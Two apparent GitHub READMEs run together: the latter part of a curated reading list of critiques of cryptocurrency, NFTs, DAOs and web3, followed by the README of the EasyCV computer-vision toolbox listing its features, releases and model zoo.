Economy: Steve Keen interviewed by Layne Hartsell](http://www.koreaittimes.com/news/articleView.html?idxno=103792) - 2021-02-17 * Amartya Sen [Prannoy Roy's Townhall With Amartya Sen On Economy, Farm Laws: Full Transcript ](https://www.ndtv.com/india-news/prannoy-roys-townhall-with-amartya-sen-on-indian-economy-farm-laws-full-transcript-2385071) - 2021-03-06 * Jeffrey Sachs [Famed economist Jeffrey Sachs rails against Bitcoin: Highly polluting and ‘almost like counterfeiting’](https://fortune.com/2021/03/16/bitcoin-jeffrey-sachs-critiques-btc/) - 2021-03-16 * Paul Krugman [Technobabble, Libertarian Derp and Bitcoin](https://nytimes.com/2021/05/20/opinion/cryptocurrency-bitcoin.html) - 2021-05-20 * Tyler Cowen [What the Crypto Crowd Doesn't Understand About Economics](https://www.bloomberg.com/opinion/articles/2021-06-21/what-the-crypto-crowd-doesn-t-understand-about-economics) - 2021-06-20 * Yanis Varoufakis [What is money, really? And why Bitcoin is not the answer (even if blockchain is brilliant & potentially helpful in democratising money)](https://www.yanisvaroufakis.eu/2021/08/02/what-is-money/) - 2021-08-02 * Daron Acemoğlu [The Bitcoin Fountainhead](https://www.project-syndicate.org/commentary/bitcoin-an-appealing-distraction-by-daron-acemoglu-2021-10?barrier=accesspay) - 2021-10-05 * Joseph Stiglitz [Nobel Prize Economist Joseph Stiglitz Calls Regulators to Ban Cryptocurrencies](https://deep-resonance.org/2021/10/28/nobel-prize-economist-joseph-stiglitz-calls-regulators-to-ban-cryptocurrencies/) - 2021-10-28 * Richard Thaler [Economics Nobel prize winner, Richard Thaler: “The market that looks most like a bubble to me is Bitcoin and its brethren”](https://econews.pt/2018/01/22/economics-nobel-prize-winner-richard-thaler-the-market-that-looks-most-like-a-bubble-to-me-is-bitcoin-and-its-brethren/) - 2018-01-22 * Yanis Varoufakis [Yanis Varoufakis on Crypto & the Left, and Techno-Feudalism](https://the-crypto-syllabus.com/yanis-varoufakis-on-techno-feudalism/) - 2022-01-26 * Tyler Cowen [The Crypto Crash Strengthens the Case for Crypto](https://www.bloombergquint.com/gadfly/crypto-crash-strengthens-case-for-crypto-s-long-term-future) - 2022-01-27 * Jesse Frederik [Blockchain, the amazing solution for almost nothing](https://thecorrespondent.com/655/blockchain-the-amazing-solution-for-almost-nothing/84495599980-95473476) - 2020-08-21 - "Blockchain technology is going to change everything: the shipping industry, the financial system, government … in fact, what won’t it change? But enthusiasm for it mainly stems from a lack of knowledge and understanding. The blockchain is a solution in search of a problem." * [Vice: ‘Crypto Ruined My Life’: The Mental Health Crisis Hitting Bitcoin Investors](https://www.vice.com/en/article/akvn8z/crypto-bad-for-mental-health) - 2022-02-16 - The stress and anxiety that goes with funneling your life savings into a volatile market is no joke. * [Ed Zitron: Solutions That Create Problems](https://ez.substack.com/p/solutions-that-create-problems) - 2022-02-22 - [The thing about Web3 is that it is uniquely useless. I have actively searched for an explanation as to why it's the future, what products it would allow us to build, what sort of *good* it would provide, and I cannot even at my most optimistic find a real use case](https://twitter.com/edzitron/status/1495891031979704321) ### Ponzi aspect * [Financial Times: Why bitcoin is worse than a Madoff-style Ponzi scheme](https://web.archive.org/web/20220113183816/https://www.reddit.com/r/CryptoReality/comments/rm78e3/financial_times_why_bitcoin_is_worse_than_a/) - 2021-12-22. A Ponzi scheme is a zero-sum enterprise. But bitcoin is a negative-sum phenomenon that you can’t even pursue a claim against, argues Robert McCauley. [Original](https://ft.com/content/83a14261-598d-4601-87fc-5dde528b33d0) * [Seattle Times: Bitcoin is basically a Ponzi scheme](https://seattletimes.com/opinion/bitcoin-is-basically-a-ponzi-scheme/) - 2018-01-30 * [Bitcoin is a Ponzi](https://ic.unicamp.br/~stolfi/bitcoin/2020-12-31-bitcoin-ponzi.html) - 2020-12-13 by Prof Jorge Stolfi * [Financial Times: Albanian lessons for regulators nervously eyeing the crypto world](https://www.ft.com/content/810367e5-e0b1-4221-b303-f3012a177437) - 2021-07-05 - Albania’s 1990s pyramid scheme debacle highlights risks of regulatory paralysis on the cryptocurrency explosion > Once upon a time in Albania, a scrappy, alternative finance industry emerged to take on and eventually supplant a sclerotic, technologically-backward banking system. The lessons from its dramatic collapse remain relevant today.  > > Essentially, what was initially touted as a post-communist entrepreneurial success story proved to be pyramid schemes of breathtaking proportions. Slick marketing and lofty promises turned an informal, decentralised, crime-facilitating ecosystem into a mainstream mania that sucked in multitudes of people, unchecked by feeble and fitful regulatory warnings. * [Jacobin: Cryptocurrency Is a Giant Ponzi Scheme](https://jacobinmag.com/2022/01/cryptocurrency-scam-blockchain-bitcoin-economy-decentralization) - 2022-01-21 ### Crypto and energy consumption * [Bitcoin Energy Consumption Index](https://digiconomist.net/bitcoin-energy-consumption) * [Why Bitcoin Is Bad For The Environment](https://newyorker.com/news/daily-comment/why-bitcoin-is-bad-for-the-environment) - 2021-04-22 * [Energy power usage CryptoArt, ETH, Blockchain spreadsheet](https://docs.google.com/spreadsheets/d/1hzzxMbytOZ1mYl9kLh_SvM6kne6JI_mdCfHIoNapr5M/edit#gid=0) * [How Do We Solve Bitcoin's Energy Problem?](https://www.theguardian.com/technology/2022/jan/30/how-do-we-solve-bitcoins-carbon-problem) - 2022-01-30 ### Scams/frauds * [People Building ‘Blockchain City’ in Wyoming Scammed by Hackers - Vice](https://www.vice.com/en/article/k7w3am/people-building-blockchain-city-in-wyoming-scammed-by-hackers) - 2022-01-12 - On Monday, CityDAO—the group that bought 40 acres of Wyoming in hopes of "building a city on the Ethereum blockchain”—announced that its Discord server was hacked and members' funds were successfully stolen as a result. * [Web3 is going just great](https://web3isgoinggreat.com/) - A timeline of scams related to cryptocurrencies, NFTs, and web3 projects since the beginning of 2021 by Molly White ### DAOs * [Is The DAO going to be DOA?](https://steemit.com/crypto-news/@dan/is-the-dao-going-to-be-doa) - 2016-05-16 - by Dan Larimer (founder of BitShares and much else). Larimer sets out most of the basic critiques of DAOs as governance innovation extremely well: > Fancy technology can obscure our assessment of what is really going on. The DAO solves a single problem: the corrupt trustee or administrator. It replaces voluntary compliance with a corporation’s charter under threat of lawsuit, with automated compliance with software defined rules. This subtle change may be enough to bypass regulatory hurdles facing traditional trustee’s and administrators, but it doesn’t solve most of the problems the regulations were attempting to address. > > What The DAO doesn’t solve is all of the other problems inherent with any joint venture. These are people problems, economic problems, and political problems. In some sense, The DAO creates many new problems caused by its ridged rules and expensive machine-enforced process for change. > > The DAO doesn’t solve the “group trap” where by losers subsidize winners. It disempowers the individual actor and forces him to submit to group decision making. It doesn’t make raising money cheaper for companies, it just adds blockchain-enforced bureaucratic and political processes. * [DAOs and the nature of human collaboration](https://world.hey.com/marin/daos-and-the-nature-of-human-collaboration-be162918) - 2021-08-12 by Marin Petrov. A critique of DAOs and technosolutionism. ### NFTs Non-fungible tokens. * [OpenSea, Web3, and Aggregation Theory](https://stratechery.com/2022/opensea-raises-money-bans-nfts-openseas-value-cryptos-aggregators/) - 2022-01-05 - Ben Thompson of Stratechery * [Brian Eno on NFTs & Automaticism](https://the-crypto-syllabus.com/brian-eno-on-nfts-and-automatism/) * [Detailed twitter thread by @NFTEthics alleging fraudulent or close to fraudulent behaviour by a major NTF influencer named BeanieMaxi ](https://twitter.com/NFTethics/status/1483051289022017538) - 2022-01-17 ([cached](./assets/Thread by @NFTethics re beaniemaxi.pdf)) * [Jacobin: NFTs Are, Quite Simply, Bullshit](https://jacobinmag.com/2022/01/nfts-fallon-paris-hilton-bored-ape-digital-imagery-commodification) - 2022-01-26 ### Specific use cases * Event ticketing: [NFT tickets — a realistic look at a big trend](https://medium.com/@ticketpark/nft-tickets-a-realistic-look-at-a-big-trend-ae813d6f885d) – 2021-12-14 * NFT games: [“Play-to-earn” and Bullshit Jobs](https://paulbutler.org/2021/play-to-earn-and-bullshit-jobs/) - December 28, 2021 by Paul Butler - An interesting reflexion linking web3's "Play-to-earn" concept to David Graeber's [Bullshit Jobs](https://en.wikipedia.org/wiki/Bullshit_Jobs) * NFT games: [Crypto Games: Report from hell](https://www.youtube.com/watch?v=YHz0xpU5Tu8) - Good video reviewing and discussing crypto games ### Humour * [Crypto Curious](https://www.youtube.com/watch?v=N8f-BQFo7lw) - South Park on NFTs - 2021-12-21 * [N-FT: Non-Functioning Tower](https://www.nonfunctioningtower.com) - NFT satire - 2022-03-07 * [“a normal person explains cryptocurrency”](https://twitter.com/avalonpenrose/status/1473753174787772418) by Avalon Penrose - 2021-12-22 * [“my crypto friend calls me every day and this is what he sound like”](https://www.youtube.com/watch?v=TUB9jgMuC7U) by Flula - 2021-02-22 * [The Billion-Dollar Bitcoin Scam](https://www.youtube.com/watch?v=YCuGpfMSmck) - Ordinary Things - 2020-05-31 - “What is Bitcoin? Is Bitcoin a scam? And how did Bitcoin become what it is today? Who was the Dread Pirate Roberts and what happened to the Silk Road?” * [Cryptocurrencies: Last Week Tonight with John Oliver (HBO)](https://www.youtube.com/watch?v=g6iDZspbRMg) - 2018-03-12 * [Don’t Understand Bitcoin? This Man Will Mumble An Explanation At You](https://www.youtube.com/watch?v=4APcgsRdW6w) by ClickHole - 2015-07-7 * [If Cryptocurrency was Honest](https://www.youtube.com/watch?v=GUs5y9leCyA) * [If NFTs were Honest](https://www.youtube.com/watch?v=sG_v4bb2e4k) * [Brave New Web](https://medium.com/coinmonks/brave-new-web-7bae50e916eb) - ani utopian Web3 satire by Nikolay Vlasov - 2022-04-10 ### Twitter users Whilst these users may not solely discuss crypto or web3, they do discuss it regularly, and have consistently provided well-written critique. * https://twitter.com/web3isgreat * https://twitter.com/ncweaver * https://twitter.com/molly0xFFF * https://twitter.com/smdiehl - [Crypto Criticism Threads](https://gist.github.com/sdiehl/7706ef44d951a2025fd658d1dd8687af) * https://twitter.com/rufuspollock * https://twitter.com/troll_lock * https://twitter.com/CasPiancey -"Under promise, under deliver" co-host @cryptocriticpod *opinions are mine, not my employer* odds and ends @protos hold no crypto or crypto stonks * https://twitter.com/BennettTomlin - I do data science and track down frauds | 74% backed | Co-host @CryptoCriticPod | Writing @fud_letter | Discord: https://discord.gg/YpAUqNkhSC * https://twitter.com/SilvermanJacob (staff writer New Republic) & https://twitter.com/ben_mckenzie - "apparently I now write about crypto" * https://twitter.com/doctorow ### Tether, and other stablecoins * [Bennett Tomlin: Tether and Bitfinex Introduction](https://bennettftomlin.com/2021/08/08/tether-and-bitfinex-introduction/) - 2021-08-10 - Tether and Bitfinex are two of the most important companies in the cryptocurrency ecosystem. Tether is the largest stablecoin, and the primary driver of volume and liquidity. Bitfinex used to be the largest cryptocurrency exchange, and still is a frequently used exchange. Tether and Bitfinex have an incredibly problematic past and are quite possibly the largest corporate fraud in history. * Detailed overview of Tether and Bitfinex and their connection. * [Tether Papers: This is exactly who acquired 70% of all USDT ever issued](https://protos.com/tether-papers-crypto-stablecoin-usdt-investigation-analysis/) - 2021-11-10 * [Bloomberg: Tether’s Latest Black Eye Is CFTC Fine for Lying About Reserves](https://www.bloomberg.com/news/articles/2021-10-15/tether-bitfinex-to-pay-fines-totaling-42-5-million-cftc-says) - 2021-10-15 - Biggest stablecoin issuer hit with $41 million penalty. Affiliated crypto exchange Bitfinex also fined $1.5 million. * [Bloomberg: Anyone Seen Tether’s Billions?](https://www.bloomberg.com/news/features/2021-10-07/crypto-mystery-where-s-the-69-billion-backing-the-stablecoin-tether) - 2021-10-07 - A wild search for the U.S. dollars supposedly backing the stablecoin at the center of the global cryptocurrency trade—and in the crosshairs of U.S. regulators and prosecutors. [paywalled] ([cached](./assets/anyone-seen-tethers-billions.pdf)) * [Bloomberg: Tether Fails to Dispel Mystery on Stablecoin’s Crucial Reserves](https://www.bloomberg.com/news/articles/2021-12-03/tether-gives-more-details-on-assets-backing-crypto-stablecoin) - 2021-12-03 - Holding include $30.6 billion in commercial paper and CDs. About $1 billion moved from reverse repo notes to money funds ### Central Bank Digital Currencies * [Money and Payments: The U.S. Dollar in the Age of Digital Transformation](https://www.federalreserve.gov/publications/money-and-payments-discussion-paper.htm) - provides a high level overview of the current state of central bank and private sector currencies in the US, and identifies risks and challenges with the implementation of a central bank digital currency. From the paper summary: "The paper summarizes the current state of the domestic payments system and discusses the different types of digital payment methods and assets that have emerged in recent years, including stablecoins and other cryptocurrencies. It concludes by examining the potential benefits and risks of a CBDC, and identifies specific policy considerations." ### Trading/Market Microstructure/Security Risks * [Quantifying Blockchain Extractable Value: How dark is the forest?](https://arxiv.org/abs/2101.05511) - Qin et al., 2021. Technical paper characterizing and quantifying miner extracted value on Ethereum's DeFi smart contracts. * [High-Frequency Trading on Decentralized On-Chain Exchanges](https://arxiv.org/abs/2009.14021) - Zhou et al., 2020. Technical paper detailing the "front-running" that occurs on Ethereum. * [An Anatomy of Bitcoin Price Manipulation](https://www.singlelunch.com/2022/01/09/an-anatomy-of-bitcoin-price-manipulation/) - Matt Ranger, 2022. Speculative analysis of centralized cryptocurrency exchange market data to support a price manipulation hypothesis. ### Former bitcoin enthusiasts turned skeptics * [Money corrupts; bitcoin corrupts absolutely.](https://www.cynicusrex.com/file/cryptocultscience.html) by Angelino Desmet - 12-03-2021 * [I wish I never bought bitcoin.](https://www.cynicusrex.com/file/greed.html) by Angelino Desmet - 01-06-2020 ### Religious skeptical angles #### Buddhist * [Sujato Bhikkhu on Crypto](https://www.youtube.com/watch?v=CA_cfLqIkA0) by Sujato Bhikkhu. A monk explains why crypto is incompatible with the teachings of the Buddha from both moral and spiritual dimensions. #### Christian * [The Christian case against Bitcoin and blockchain]( https://lukeplant.me.uk/blog/posts/the-christian-case-against-bitcoin-and-blockchain/) by Luke Plant, A reading of bitcoin philosophy and cult like phenomenon from a biblical perspective 2021-03-2022. * [What you should know about Bitcoin](https://www.thegospelcoalition.org/article/faqs-know-bitcoin/) by Joe Carter. A well-researched, accurate introduction to Bitcoin from a Christian perspective, 2017-12-27. * [Ask the Economist: Should a Christian Invest in Bitcoin?](https://www.thegospelcoalition.org/article/christian-invest-bitcoin/) by Greg Phelan, 2021-10-27. --- ## What is blockchain, web3, etc. Best intros/overviews of blockchain, crypto, web3, etc. * [On Blockchain and Trust](https://www.schneier.com/blog/archives/2019/02/blockchain_and_.html) - February 12, 2019 by Bruce Schneier. The article also appeared on wired.com as [There's No Good Reason to Trust Blockchain Technology](https://www.wired.com/story/theres-no-good-reason-to-trust-blockchain-technology/). - [The Myth of Decentralization and Lies about Web 2.0](https://www.emilygorcenski.com/post/the-myth-of-decentralization-and-lies-about-web-2.0/) - 2022-01-07 by Emily Gorcenski * http://kernel.community - A custom web3 educational community with free learning resources at https://kernel.community/en/learn/ --- ## Iron-manning the pro arguments Here we collect the best theses for why blockchain/crypto“currency”/web3 is supposedly important/interesting/world-changing. ### Bitcoin * [Bitcoin for the Open-Minded Skeptic](https://www.matthuang.com/bitcoin_for_the_open_minded_skeptic) - May 2020 - by [[people/Matt Huang]]. Note: more an argument for why Bitcoin will "make it" than any argument why that is socially valuable (or not). * [7 Things To Read About Bitcoin (For Institutional Investors)](https://www.paradigm.xyz/2020/05/7-things-to-read-about-bitcoin-for-institutional-investors/) - May 2020 - by [[people/Matt Huang]] ### General * [JumpCrypto Crypto Reading List (on Github)](https://github.com/JumpCrypto/crypto-reading-list) ### Web3 * [Sean Bonner: Why Web3](https://blog.seanbonner.com/2021/10/26/why-web3/) - 2021-10-26 - by Sean Bonner. "Web3 upends the power structures we’ve grown accustomed to and puts artists and creators back into the drivers seat…Web3 offers a future where people are in charge of their own identities, not beholden to the whims of data hoarding corporations. People control their own accounts, own their own futures…So if you are asking “Why Web3?” The answer is simple. Web3 is the future." ### Fat protocols From https://www.usv.com/writing/2016/08/fat-protocols/ > The previous generation of shared protocols (TCP/IP, HTTP, SMTP, etc.) produced immeasurable amounts of value, but most of it got captured and re-aggregated on top at the applications layer, largely in the form of data (think Google, Facebook and so on). The Internet stack, in terms of how value is distributed, is composed of “thin” protocols and “fat” applications. > > This relationship between protocols and applications is reversed in the blockchain application stack. Value concentrates at the shared protocol layer and only a fraction of that value is distributed along at the applications layer. It’s a stack with “fat” protocols and “thin” applications. * [Crypto Tokens and the Coming Age of Protocol Innovation](https://continuations.com/post/148098927445/crypto-tokens-and-the-age-of-protocol-innovation) - 2016-07-28 - by Albert Wenger at USV. Move about incentivizing investment in the protocols * [Fat Protocols](https://www.usv.com/writing/2016/08/fat-protocols/) - Aug 2016 - Joel Monegro at USV - more about incentivizing adoption ### Fairer governance Can support more democratic, distributed governance, e.g. cooperatives (somehow). Can save Democracy. * [If I Only had a Heart: a DisCO Manifesto](https://disco.coop/manifesto/) - Dec 2019 - A joint publication by DisCO.coop, the Transnational Institute and Guerrilla Media Collective. "Value Sovereignty, Care Work, Commons and Distributed Cooperative Organizations. The DisCO Manifesto is a deep dive into the world of Distributed Cooperative Organizations. Over its 80 colorful pages, you will read about how DisCOs are a P2P/Commons, cooperative and Feminist Economic alternative to Decentralized Autonomous Organizations (DAOs). The DisCO Manifesto also includes some background on topics like blockchain, AI, the commons, feminism, cooperatives, cyberpunk, and more." * [Wired: The Father of Web3 Wants You to Trust Less](https://www.wired.com/story/web3-gavin-wood-interview/) - 2021-11-29 - Gavin Wood, who coined the term Web3 in 2014, believes decentralized technologies are the only hope of preserving liberal democracy. ### Fairer Economy * [Li Jin on the future of the creator economy](https://www.economist.com/the-world-ahead/2021/11/08/li-jin-on-the-future-of-the-creator-economy) - Shared ownership and control of online platforms is the way forward (via crypto) * Note: we probably all want that wonderful outcome it's just that crypto is neither necessary nor likely to get us there. See https://rufuspollock.com/fixing-facebook/ ## Reference History of speculation, manias, etc. * Devil Take the Hindmost: A History of Financial Speculation by Edward Chancellor (1998) * [Manias, Panics, and. Crashes. A History of Financial Crises](https://delong.typepad.com/manias.pdf) by by CP Kindleberger (1978) ## Inbox This is a section for links that haven't yet been reviewed and/or allocated to a particular section. * https://the-crypto-syllabus.com/web3-a-map-in-search-of-territory/ - Jan 2022 - by Evgeny Morozov * [Proof of Work vs Proof of Stake, and the Stablecoin Centralization Problem](https://www.lynalden.com/proof-of-stake/) - good overview of PoW vs PoS and the complexity/problems PoS adds. Second half of the article expounds on how "any smart contract blockchain that relies heavily on DeFi for its use case, can have the outcome of its hard forks significantly determined by centralized stablecoin custodians." Long article and could fit under multiple headings here. * https://www.reddit.com/r/anticryptocurrency/ - reddit with a significant number of links * https://www.profgalloway.com/web3/ - 2022-01-15 - Prof Scott Galloway @ NYU. Unequal, focused on getting rich, facilitating crime, centralized * [Cryptoeconomics as a Limitation on Governance](https://osf.io/wzf85/?view_only=a10581ae9a804aa197ac39ebbba05766) - 2021-11-11 - Nathan Schneider, University of Colorado Boulder * [Financial Times: Matt Damon’s crypto ad is more than just cringeworthy](https://www.ft.com/content/3fac474e-aa34-439a-8bdb-32b576fe2687) (paywall) * [Francesca Bria on Decentralisation, Sovereignty, and Web3](https://the-crypto-syllabus.com/francesca-bria-on-decentralisation/) * [Booming NFT art market plagued by 'mind-blowing' fraud](https://news.trust.org/item/20220118122426-mv9tu/) Pros * [BanklessDAO: State of the DAOs #7: Social Tokens and the Future of Work](https://banklessdao.substack.com/p/state-of-the-daos-7-social-tokens) - 2022-01-13 * [Scanning the European Ecosystem of Distributed Ledger Technologies for Social and Public Good](https://publications.jrc.ec.europa.eu/repository/handle/JRC121675) - Oct 2020 - by Samer Hassan and colleagues * Twitter thread: https://twitter.com/samerP2P/status/1317123399295041541 ### Other suggestions * New topic concerning the psychological harm, such as: gambling, greed, cultism, etc.

Making sense of web3 & crypto. Introduction to key concepts and ideas. Rigorous, constructive analysis of key claims pro and con. A look at the deeper hopes and aspirations.

awesome,awesome-list,blockchain,cryptocurrency,web3,technosolutionism,bitcoin,ethereum

alibaba/EasyCV

<div align="center"> [](https://pypi.org/project/pai-easycv/) [](https://easy-cv.readthedocs.io/en/latest/) [](https://github.com/open-mmlab/mmdetection/blob/master/LICENSE) [](https://github.com/alibaba/EasyCV/issues) [](https://GitHub.com/alibaba/EasyCV/pull/) [](https://GitHub.com/alibaba/EasyCV/commit/) <!-- [](https://GitHub.com/alibaba/EasyCV/graphs/contributors/) --> <!-- [](http://makeapullrequest.com) --> </div> # EasyCV English | [简体中文](README_zh-CN.md) ## Introduction EasyCV is an all-in-one computer vision toolbox based on PyTorch, mainly focuses on self-supervised learning, transformer based models, and major CV tasks including image classification, metric-learning, object detection, pose estimation, and so on. ### Major features - **SOTA SSL Algorithms** EasyCV provides state-of-the-art algorithms in self-supervised learning based on contrastive learning such as SimCLR, MoCO V2, Swav, DINO, and also MAE based on masked image modeling. We also provide standard benchmarking tools for ssl model evaluation. - **Vision Transformers** EasyCV aims to provide an easy way to use the off-the-shelf SOTA transformer models trained either using supervised learning or self-supervised learning, such as ViT, Swin Transformer, and DETR Series. More models will be added in the future. In addition, we support all the pretrained models from [timm](https://github.com/rwightman/pytorch-image-models). - **Functionality & Extensibility** In addition to SSL, EasyCV also supports image classification, object detection, metric learning, and more areas will be supported in the future. Although covering different areas, EasyCV decomposes the framework into different components such as dataset, model and running hook, making it easy to add new components and combining it with existing modules. EasyCV provides simple and comprehensive interface for inference. Additionally, all models are supported on [PAI-EAS](https://help.aliyun.com/document_detail/113696.html), which can be easily deployed as online service and support automatic scaling and service monitoring. - **Efficiency** EasyCV supports multi-gpu and multi-worker training. EasyCV uses [DALI](https://github.com/NVIDIA/DALI) to accelerate data io and preprocessing process, and uses [TorchAccelerator](https://github.com/alibaba/EasyCV/tree/master/docs/source/tutorials/torchacc.md) and fp16 to accelerate training process. For inference optimization, EasyCV exports model using jit script, which can be optimized by [PAI-Blade](https://help.aliyun.com/document_detail/205134.html) ## What's New [🔥 2023.05.09] * 09/05/2023 EasyCV v0.11.0 was released. - Support EasyCV as a plug-in for [modelscope](https://github.com/modelscope/modelscope. [🔥 2023.03.06] * 06/03/2023 EasyCV v0.10.0 was released. - Add segmentation model STDC - Add skeleton based video recognition model STGCN - Support ReID and Multi-len MOT [🔥 2023.01.17] * 17/01/2023 EasyCV v0.9.0 was released. - Support Single-lens MOT - Support video recognition (X3D, SWIN-video) [🔥 2022.12.02] * 02/12/2022 EasyCV v0.8.0 was released. - bevformer-base NDS increased by 0.8 on nuscenes val, training speed increased by 10%, and inference speed increased by 40%. - Support Objects365 pretrain and Adding the DINO++ model can achieve an accuracy of 63.4mAP at a model scale of 200M(Under the same scale, the accuracy is the best). [🔥 2022.08.31] We have released our YOLOX-PAI that achieves SOTA results within 40~50 mAP (less than 1ms). And we also provide a convenient and fast export/predictor api for end2end object detection. To get a quick start of YOLOX-PAI, click [here](docs/source/tutorials/yolox.md)! * 31/08/2022 EasyCV v0.6.0 was released. - Release YOLOX-PAI which achieves SOTA results within 40~50 mAP (less than 1ms) - Add detection algo DINO which achieves 58.5 mAP on COCO - Add mask2former algo - Releases imagenet1k, imagenet22k, coco, lvis, voc2012 data with BaiduDisk to accelerate downloading Please refer to [change_log.md](docs/source/change_log.md) for more details and history. ## Technical Articles We have a series of technical articles on the functionalities of EasyCV. * [EasyCV开源｜开箱即用的视觉自监督+Transformer算法库](https://zhuanlan.zhihu.com/p/505219993) * [MAE自监督算法介绍和基于EasyCV的复现](https://zhuanlan.zhihu.com/p/515859470) * [基于EasyCV复现ViTDet：单层特征超越FPN](https://zhuanlan.zhihu.com/p/528733299) * [基于EasyCV复现DETR和DAB-DETR，Object Query的正确打开方式](https://zhuanlan.zhihu.com/p/543129581) * [YOLOX-PAI: 加速YOLOX, 比YOLOv6更快更强](https://zhuanlan.zhihu.com/p/560597953) * [EasyCV带你复现更好更快的自监督算法-FastConvMAE](https://zhuanlan.zhihu.com/p/566988235) * [EasyCV DataHub 提供多领域视觉数据集下载，助力模型生产](https://zhuanlan.zhihu.com/p/572593950) * [使用EasyCV Mask2Former轻松实现图像分割](https://zhuanlan.zhihu.com/p/583831421) ## Installation Please refer to the installation section in [quick_start.md](docs/source/quick_start.md) for installation. ## Get Started Please refer to [quick_start.md](docs/source/quick_start.md) for quick start. We also provides tutorials for more usages. * [self-supervised learning](docs/source/tutorials/ssl.md) * [image classification](docs/source/tutorials/cls.md) * [metric learning](docs/source/tutorials/metric_learning.md) * [object detection with yolox-pai](docs/source/tutorials/yolox.md) * [model compression with yolox](docs/source/tutorials/compression.md) * [using torchacc](docs/source/tutorials/torchacc.md) * [file io for local and oss files](docs/source/tutorials/file.md) * [using mmdetection model in EasyCV](docs/source/tutorials/mmdet_models_usage_guide.md) * [batch prediction tools](docs/source/tutorials/predict.md) notebook * [self-supervised learning](docs/source/tutorials/EasyCV图像自监督训练-MAE.ipynb) * [image classification](docs/source/tutorials/EasyCV图像分类resnet50.ipynb) * [object detection with yolox-pai](docs/source/tutorials/EasyCV图像检测YoloX.ipynb) * [metric learning](docs/source/tutorials/EasyCV度量学习resnet50.ipynb) ## Model Zoo <div align="center"> <b>Architectures</b> </div> <table align="center"> <tbody> <tr align="center"> <td> <b>Self-Supervised Learning</b> </td> <td> <b>Image Classification</b> </td> <td> <b>Object Detection</b> </td> <td> <b>Segmentation</b> </td> <td> <b>Object Detection 3D</b> </td> </tr> <tr valign="top"> <td> <ul> <li><a href="configs/selfsup/byol">BYOL (NeurIPS'2020)</a></li> <li><a href="configs/selfsup/dino">DINO (ICCV'2021)</a></li> <li><a href="configs/selfsup/mixco">MiXCo (NeurIPS'2020)</a></li> <li><a href="configs/selfsup/moby">MoBY (ArXiv'2021)</a></li> <li><a href="configs/selfsup/mocov2">MoCov2 (ArXiv'2020)</a></li> <li><a href="configs/selfsup/simclr">SimCLR (ICML'2020)</a></li> <li><a href="configs/selfsup/swav">SwAV (NeurIPS'2020)</a></li> <li><a href="configs/selfsup/mae">MAE (CVPR'2022)</a></li> <li><a href="configs/selfsup/fast_convmae">FastConvMAE (ArXiv'2022)</a></li> </ul> </td> <td> <ul> <li><a href="configs/classification/imagenet/resnet">ResNet (CVPR'2016)</a></li> <li><a href="configs/classification/imagenet/resnext">ResNeXt (CVPR'2017)</a></li> <li><a href="configs/classification/imagenet/hrnet">HRNet (CVPR'2019)</a></li> <li><a href="configs/classification/imagenet/vit">ViT (ICLR'2021)</a></li> <li><a href="configs/classification/imagenet/swint">SwinT (ICCV'2021)</a></li> <li><a href="configs/classification/imagenet/efficientformer">EfficientFormer (ArXiv'2022)</a></li> <li><a href="configs/classification/imagenet/timm/deit">DeiT (ICML'2021)</a></li> <li><a href="configs/classification/imagenet/timm/xcit">XCiT (ArXiv'2021)</a></li> <li><a href="configs/classification/imagenet/timm/tnt">TNT (NeurIPS'2021)</a></li> <li><a href="configs/classification/imagenet/timm/convit">ConViT (ArXiv'2021)</a></li> <li><a href="configs/classification/imagenet/timm/cait">CaiT (ICCV'2021)</a></li> <li><a href="configs/classification/imagenet/timm/levit">LeViT (ICCV'2021)</a></li> <li><a href="configs/classification/imagenet/timm/convnext">ConvNeXt (CVPR'2022)</a></li> <li><a href="configs/classification/imagenet/timm/resmlp">ResMLP (ArXiv'2021)</a></li> <li><a href="configs/classification/imagenet/timm/coat">CoaT (ICCV'2021)</a></li> <li><a href="configs/classification/imagenet/timm/convmixer">ConvMixer (ICLR'2022)</a></li> <li><a href="configs/classification/imagenet/timm/mlp-mixer">MLP-Mixer (ArXiv'2021)</a></li> <li><a href="configs/classification/imagenet/timm/nest">NesT (AAAI'2022)</a></li> <li><a href="configs/classification/imagenet/timm/pit">PiT (ArXiv'2021)</a></li> <li><a href="configs/classification/imagenet/timm/twins">Twins (NeurIPS'2021)</a></li> <li><a href="configs/classification/imagenet/timm/shuffle_transformer">Shuffle Transformer (ArXiv'2021)</a></li> <li><a href="configs/classification/imagenet/deitiii">DeiT III (ECCV'2022)</a></li> <li><a href="configs/classification/imagenet/deit">Hydra Attention (2022)</a></li> </ul> </td> <td> <ul> <li><a href="configs/detection/fcos">FCOS (ICCV'2019)</a></li> <li><a href="configs/detection/yolox">YOLOX (ArXiv'2021)</a></li> <li><a href="configs/detection/yolox">YOLOX-PAI (ArXiv'2022)</a></li> <li><a href="configs/detection/detr">DETR (ECCV'2020)</a></li> <li><a href="configs/detection/dab_detr">DAB-DETR (ICLR'2022)</a></li> <li><a href="configs/detection/dab_detr">DN-DETR (CVPR'2022)</a></li> <li><a href="configs/detection/dino">DINO (ArXiv'2022)</a></li> </ul> </td> <td> </ul> <li><b>Instance Segmentation</b></li> <ul> <ul> <li><a href="configs/detection/mask_rcnn">Mask R-CNN (ICCV'2017)</a></li> <li><a href="configs/detection/vitdet">ViTDet (ArXiv'2022)</a></li> <li><a href="configs/segmentation/mask2former">Mask2Former (CVPR'2022)</a></li> </ul> </ul> </ul> <li><b>Semantic Segmentation</b></li> <ul> <ul> <li><a href="configs/segmentation/fcn">FCN (CVPR'2015)</a></li> <li><a href="configs/segmentation/upernet">UperNet (ECCV'2018)</a></li> </ul> </ul> </ul> <li><b>Panoptic Segmentation</b></li> <ul> <ul> <li><a href="configs/segmentation/mask2former">Mask2Former (CVPR'2022)</a></li> </ul> </ul> </ul> </td> <td> <ul> <li><a href="configs/detection3d/bevformer">BEVFormer (ECCV'2022)</a></li> </ul> </td> </tr> </td> </tr> </tbody> </table> Please refer to the following model zoo for more details. - [self-supervised learning model zoo](docs/source/model_zoo_ssl.md) - [classification model zoo](docs/source/model_zoo_cls.md) - [detection model zoo](docs/source/model_zoo_det.md) - [detection3d model zoo](docs/source/model_zoo_det3d.md) - [segmentation model zoo](docs/source/model_zoo_seg.md) - [pose model zoo](docs/source/model_zoo_pose.md) ## Data Hub EasyCV have collected dataset info for different scenarios, making it easy for users to finetune or evaluate models in EasyCV model zoo. Please refer to [data_hub.md](docs/source/data_hub.md). ## License This project is licensed under the [Apache License (Version 2.0)](LICENSE). This toolkit also contains various third-party components and some code modified from other repos under other open source licenses. See the [NOTICE](NOTICE) file for more information. ## Contact This repo is currently maintained by 